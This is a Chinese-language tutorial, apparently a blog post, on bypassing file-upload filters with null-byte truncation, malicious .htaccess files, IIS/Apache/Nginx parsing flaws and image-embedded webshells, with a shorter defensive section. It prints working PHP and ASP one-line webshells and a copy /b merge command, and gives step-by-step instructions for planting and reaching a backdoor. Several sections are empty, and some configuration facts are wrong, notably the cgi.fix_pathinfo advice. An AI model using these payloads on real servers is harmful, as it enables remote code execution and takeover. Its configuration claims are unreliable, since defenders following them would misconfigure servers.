一、核心概述
本文是文件上传漏洞的进阶补充内容,在原有绕过方式基础上,新增00 截断、.htaccess 文件利用、多服务器解析漏洞、图片木马4 种核心攻击手段,详细拆解了每种方式的底层原理、分步实操流程、环境依赖及避坑要点;同时覆盖 Apache、IIS、Nginx 三大主流服务器的版本专属漏洞,补充多文件上传混淆、静态文件解析遗漏等边缘绕过思路,并完善了从目录权限控制到版本更新的全维度防护体系,形成 “原理 – 实操 – 适配 – 防护” 的完整知识闭环。
二、新增核心绕过方式(原理 + 实操 + 适配)
(一)00 截断绕过(Windows + 低版本环境专属)
1. 底层原理
- 核心逻辑:%00是 ASCII 码中的空字符(NULL),在 C 语言及继承其特性的 PHP、ASP 等语言中,%00被视为字符串终止符(类似代码中的分号),服务器解析文件名时,会自动丢弃%00后的所有内容。
- 举例:文件名6.php%00.jpg被服务器解析为6.php,既绕过了 “仅允许.jpg 上传” 的黑名单限制,又保留了恶意脚本的可执行后缀。
- 环境依赖:仅适用于 Windows 系统(Linux 系统不识别该终止符特性);需满足低版本环境(PHP≤5.3.4、Apache≤2.2.21、IIS≤6.0),高版本已修复该漏洞。
2. 分步实操流程(以 PHP 文件上传为例)
- 在 BP 中切换到「16 进制视图」,查找文件名6.php.jpg中php与jpg之间的空格(空格对应的 16 进制为20);
- 将20修改为00(空字符的 16 进制编码),此时文件名的 16 进制格式变为362e706870002e6a7067,对应明文6.phpNULL.jpg;
3. 避坑要点
- 不可直接在文件名中写00:手动命名6.php00.jpg无效,服务器会将00视为普通字符,必须通过 BP 修改 16 进制;
- 空格定位技巧:若找不到20(空格),可在文件名中手动添加空格(如6.php .jpg),再在 16 进制中查找20;
- 版本校验:若上传失败,优先检查 PHP 版本是否≤5.3.4,Apache 版本是否≤2.2.21,高版本环境需换用其他绕过方式。
(二).htaccess 文件利用(Apache 服务器专属)
1. 底层原理
- .htaccess是 Apache 服务器的目录级配置文件,可自定义当前目录的文件解析规则、权限控制等;若服务器未禁止该文件上传,攻击者可通过上传自定义的.htaccess,强制服务器将指定格式的文件解析为脚本。
- 核心配置逻辑:通过FileMatch匹配文件名特征,用SetHandler指定解析器,示例配置:
apache
<FilesMatch "AA">
SetHandler application/x-httpd-php
</FilesMatch>
含义:所有文件名包含 “AA” 字符的文件,均被 Apache 当作 PHP 脚本解析(无论后缀是.jpg/.txt/.123)。
2. 分步实操流程
- 新建文本文档,写入上述配置(“AA” 可自定义为 “BB”“ABC” 等任意字符);
- 保存时选择「所有文件」,文件名严格设为.htaccess(无前缀、无后缀,Windows 系统需注意避免自动添加.txt后缀);
3. 适配与限制
- 适用场景:仅支持 Apache 服务器,Nginx/IIS 不识别.htaccess文件;
- 配置生效:部分 Apache 需重启服务器才能加载.htaccess,若连接失败,可尝试重启 Apache 或检查配置文件语法(如空格、标签闭合);
- 灵活扩展:若想解析含 “BB” 的文件,只需将配置中 “AA” 改为 “BB”,上传BB.txt/BB.123等文件均可被解析。
(三)多服务器解析漏洞(版本专属 + 分服务器适配)
不同服务器存在因解析机制缺陷导致的漏洞,需针对性利用,以下是三大主流服务器的核心漏洞及实操:
表格
| Apache | 2.0-2.2 | 后缀回溯解析漏洞 | 服务器从文件名末尾向前逐段尝试解析,直到找到可识别的脚本后缀(如.php) | 1. 将木马文件命名为test.php.aaa.bbb.ccc(后缀任意叠加);2. 直接上传,服务器解析时跳过.aaa/.bbb/.ccc,识别.php并执行;3. 工具连接路径http://xxx.com/upload/test.php.aaa.bbb.ccc,密码与木马一致 |
| IIS | 6.0 | 文件分号解析漏洞 | 服务器忽略文件名中;后的内容,仅解析;前的后缀 | 1. 木马文件命名为AA.asp;BB.jpg(AA.asp为恶意后缀,BB.jpg为伪装后缀);2. 上传后服务器解析为AA.asp,执行 ASP 木马(内容<%eval request("a")%>);3. 浏览器访问http://xxx.com/AA.asp;BB.jpg,工具连接密码a |
| IIS | 6.0 | 文件夹名解析漏洞 | 文件夹名含.asp;时,服务器将整个文件夹内的文件均视为 ASP 脚本 | 1. 在服务器端新建文件夹,命名为hack.asp;(末尾加分号);2. 在文件夹内新建test.txt,写入 ASP 木马内容;3. 访问http://xxx.com/hack.asp;/test.txt,服务器解析为 ASP 脚本执行 |
| IIS | 6.0 | PUT+MOVE 请求漏洞 | 服务器开启 PUT/MOVE 请求,允许客户端直接写文件并重命名 | 1. BP 抓包,将 GET 请求改为 PUT,上传test.txt(含 ASP 木马),请求行:PUT /test.txt HTTP/1.1,请求体写入木马内容(注意请求头与请求体空一行);2. 服务器返回 201(创建成功)后,发送 MOVE 请求,添加Destination: http://xxx.com/test.asp字段,将test.txt重命名为test.asp;3. 访问http://xxx.com/test.asp,工具连接执行命令 |
| Nginx | ≤0.7 / 1.8.x | 图片 + 斜杠解析漏洞 | 访问xxx.jpg/任意名.php时,Nginx 错误将其解析为 PHP 文件 | 1. 上传含 PHP 木马的图片文件aaa.jpg(二进制合并一句话木马);2. 浏览器访问http://xxx.com/aaa.jpg/hack.php(hack.php为任意虚构文件名);3. 工具连接路径http://xxx.com/aaa.jpg/hack.php,密码a,服务器解析木马执行 |
| Nginx | ≤0.6 | 00 截断解析漏洞 | 与文件上传 00 截断原理一致,访问时通过%00截断后缀 | 1. 上传aaa.jpg(含木马);2. 访问http://xxx.com/aaa.jpg%00.php,服务器解析为aaa.php执行 |
4. 关键适配要点
- Apache:后缀回溯解析需开启mod_mime模块(默认开启),且 PHP 配置中允许解析.php后缀;
- IIS 6.0:需开启 WebDAV 服务(默认关闭,部分服务器管理员误开启),否则 PUT/MOVE 请求无法生效;
- Nginx:图片 + 斜杠解析漏洞需关闭cgi.fix_pathinfo配置(默认开启,需手动关闭才能触发)。
(四)图片木马绕过(文件内容检测专属)
1. 底层原理
- 核心逻辑:服务器对文件内容检测时,通常仅校验文件头部特征(如 JPG 文件头FF D8 FF、PNG 文件头89 50 4E 47),忽略文件尾部内容;攻击者将恶意脚本嵌入图片尾部,生成 “图片木马”,既通过头部校验,又保留脚本可执行性。
- 优势:可绕过 “文件内容含恶意代码则拦截” 的防护规则,适配所有支持图片上传的场景。
2. 分步实操流程(Windows 命令行实现)
- 合法图片:1.png(任意正常图片,建议小于 500KB,避免上传失败);
- 恶意脚本:test.php(一句话木马,内容<?php @eval($_POST['a']);?>);
- 打开 Windows 命令提示符(CMD),切换到两个文件所在目录(如cd C:\\Users\\Desktop);
- 执行合并命令:copy /b 1.png + test.php webshell.png(/b表示以二进制模式合并,避免破坏图片格式);
- 合并后生成webshell.png,打开后仍为正常图片,尾部隐藏木马代码;
3. 避坑要点
- 脚本完整性:合并时需在木马代码前加2-3 个空格,避免图片二进制内容覆盖 PHP 脚本的起始标记<?php;
- 文件大小控制:图片不宜过大(建议≤1MB),部分服务器限制大文件上传,且大文件尾部脚本不易被解析;
- 解析依赖:图片木马本身不可直接执行,需配合服务器解析漏洞或文件包含漏洞触发脚本执行。
三、边缘绕过思路(小众但实用)
(一)多文件上传混淆
1. 原理
部分服务器对多文件上传仅校验第一个文件的合法性,忽略后续文件的检测(开发者为简化代码未做全量校验)。
2. 实操
(二)静态文件解析遗漏
1. 原理
管理员测试后未清理服务器配置,导致 HTML、XML 等静态文件被误设为可解析脚本(如 Apache 配置中添加AddHandler application/x-httpd-php .html)。
2. 实操
四、全维度防护体系(针对性防御)
(一)目录权限控制(核心防护)
- Apache(httpd.conf):
apache
<Directory "D:/www/upload">
php_flag engine off # 关闭PHP解析
Options -ExecCGI # 禁止CGI执行
</Directory> - Nginx(nginx.conf):
nginx
location /upload/ {
cgi.fix_pathinfo off;
types { }
default_type text/plain; # 所有文件默认按文本解析
}
(二)上传流程防护
(三)服务器配置防护
apache
<Limit PUT MOVE DELETE>
Order deny,allow
Deny from all
</Limit>
(四)版本与补丁防护
五、实操避坑与环境适配清单
(一)避坑要点
(二)环境适配清单
表格
| 00 截断 | Windows | Apache≤2.2/IIS≤6.0 | PHP≤5.3.4/ASP | 无(低版本默认支持) |
| .htaccess 利用 | 全系统 | Apache 任意版本 | PHP/ASP 均可 | 开启mod_rewrite模块 |
| Apache 后缀回溯 | 全系统 | Apache2.0-2.2 | PHP≤5.6 | 开启mod_mime模块 |
| IIS 6.0 分号解析 | Windows | IIS6.0 | ASP | 开启 WebDAV 服务 |
| Nginx 图片解析 | 全系统 | Nginx≤0.7/1.8.x | PHP≤7.0 | 关闭cgi.fix_pathinfo |
| 图片木马 | 全系统 | 任意服务器 | 任意脚本语言 | 存在解析漏洞 / 文件包含漏洞 |
网硕互联帮助中心





评论前必须登录!
注册